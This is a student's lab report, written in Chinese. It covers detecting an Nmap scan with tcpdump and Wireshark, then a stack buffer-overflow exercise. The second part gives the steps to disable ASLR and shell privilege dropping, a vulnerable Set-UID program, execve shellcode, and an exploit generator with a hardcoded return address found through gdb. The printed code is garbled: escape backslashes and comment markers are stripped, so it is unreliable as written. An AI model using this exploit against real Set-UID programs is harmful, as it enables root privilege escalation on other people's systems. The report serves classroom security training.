实验一：Nmap+Wireshark
攻击方与防守方均使用Kali虚拟机，对方IP：192.168.2.160，本人ip：192.168.2.239，攻击方通过Nmap工具探测防守方，防守方用tcpdump工具与Wireshark工具通过抓包分析对方攻击目的和Nmap命令。
使用nmap进行探测：
通过tcpdump
可以看到攻击方的ip地址 以及对方的系统信息和数据包内容。
针对抓到的数据包利用Wireshark进行分析：
此次攻击都是tcp端口可以知道攻击方是进行的tcp端口扫描
此次攻击tcp，udp端口都有可以知道攻击方是进行的全端口扫描
实验二：缓冲区溢出漏洞
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。
输入命令安装一些用于编译32位C程序的东西：
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
输入命令“linux32”进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，所以输入“/bin/bash”使用bash：
Ubuntu和其他一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：
sudo sysctl -w kernel.randomize_va_space=0
此外，为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。
linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序（zsh）代替/bin/bash。下面的指令描述了如何设置zsh程序：
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是shellcode。
观察以下代码：
int main( )
{
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
本次实验的shellcode，就是刚才代码的汇编版本：
x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80
把以下代码保存为“stack.c”文件，保存到 /tmp 目录下。代码如下：
/ stack.c /
/ This program has a buffer overflow vulnerability. /
/ Our task is to exploit this vulnerability /
int bof(char *str)
{
char buffer[12];
/ The following statement has a buffer overflow problem /
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
编译该程序，并设置SET-UID。
把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下。代码如下：
/ exploit.c /
/ A program that creates a file containing code for launching shell/
char shellcode[]=
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/ Initialize buffer with 0x90 (NOP instruction) /
memset(&buffer, 0x90, 517);
/ You need to fill the buffer with appropriate contents here /
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
strcpy(buffer+100,shellcode);
/ Save the contents to the file "badfile" /
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
现在我们要得到shellcode在内存中的地址，输入命令
gdb stack
disass main
结果如图
根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd020(十六进制)+100(十进制)=0xffffd084(十六进制)
现在修改exploit.c文件！将 x??x??x??x?? 修改为 x84xd0xffxff
结果：
实验问题
实验时候电脑很卡
实验体会
加深了我对缓冲区溢出漏洞的理解，熟悉了网络攻防的相关知识，增强了自己的动手能力。